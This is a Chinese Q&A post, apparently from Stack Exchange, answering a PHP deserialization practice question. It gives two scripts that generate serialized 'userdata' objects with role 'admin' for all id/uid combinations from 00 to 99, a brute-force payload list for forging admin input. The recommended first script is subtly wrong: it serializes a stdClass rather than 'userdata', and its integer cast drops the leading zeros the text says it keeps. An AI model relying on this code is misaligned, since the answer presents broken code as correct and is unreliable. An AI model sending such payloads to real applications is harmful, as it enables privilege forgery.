PHP序列化字符串生成:实现id与uid两位循环递增的脚本需求
修正PHP反序列化字符串生成脚本:实现id与uid独立循环
问题背景
在PHP反序列化专项练习中,Web应用会反序列化userdata对象,将其中的id和uid字段拼接为4位字符串返回(例如序列化字符串O:8:"userdata":3:{s:4:"role";s:5:"admin";s:2:"id";i:21;s:3:"uid";i:32;}会返回welcome admin 2132)。需要生成id(两位,00-99)循环,每个id对应uid(两位,00-99)循环的序列化字符串,但原四层循环脚本将id和uid设为相同的4位数值,无法满足需求。
修正后的脚本
用两层循环即可实现id与uid的独立遍历,以下是两种实现方式:
方式1:通过对象序列化(推荐,避免手动拼接错误)
<?php // 外层遍历id:00到99 for ($id = 0; $id <= 99; $id++) { $formattedId = sprintf("%02d", $id); // 格式化为两位数字,补前导零 // 内层遍历uid:每个id对应00到99的uid for ($uid = 0; $uid <= 99; $uid++) { $formattedUid = sprintf("%02d", $uid); // 构造userdata对象 $userdata = new stdClass(); $userdata->role = 'admin'; $userdata->id = (int)$formattedId; $userdata->uid = (int)$formattedUid; // 序列化并输出 echo serialize($userdata) . PHP_EOL; } } ?>
方式2:手动拼接序列化字符串(适合练习手动构造)
如果需要手动拼接序列化内容(模拟漏洞场景下的手动构造),可以用下面的代码,注意字符长度必须准确:
<?php for ($id = 0; $id <= 99; $id++) { $formattedId = sprintf("%02d", $id); for ($uid = 0; $uid <= 99; $uid++) { $formattedUid = sprintf("%02d", $uid); // 手动拼接序列化字符串,注意每个字符串的长度要匹配 $serialized = 'O:8:"userdata":3:{s:4:"role";s:5:"admin";s:2:"id";i:' . $formattedId . ';s:3:"uid";i:' . $formattedUid . ';}'; echo $serialized . PHP_EOL; } } ?>
关键修正点
- 放弃四层循环,改用两层嵌套循环:外层控制id的遍历,内层控制每个id对应的uid遍历,实现两者独立循环。
- 使用
sprintf("%02d", $num)确保数字格式化为两位,自动补前导零(比如数字5会变成"05",满足两位的要求)。 - 推荐用对象序列化的方式,避免手动拼接序列化字符串时容易出现的字符长度错误(比如
"role"的长度是4,"admin"的长度是5,这些数值必须和实际字符串长度一致,否则反序列化会失败)。
内容的提问来源于stack exchange,提问作者WorldPixel
相关产品推荐
相关产品推荐

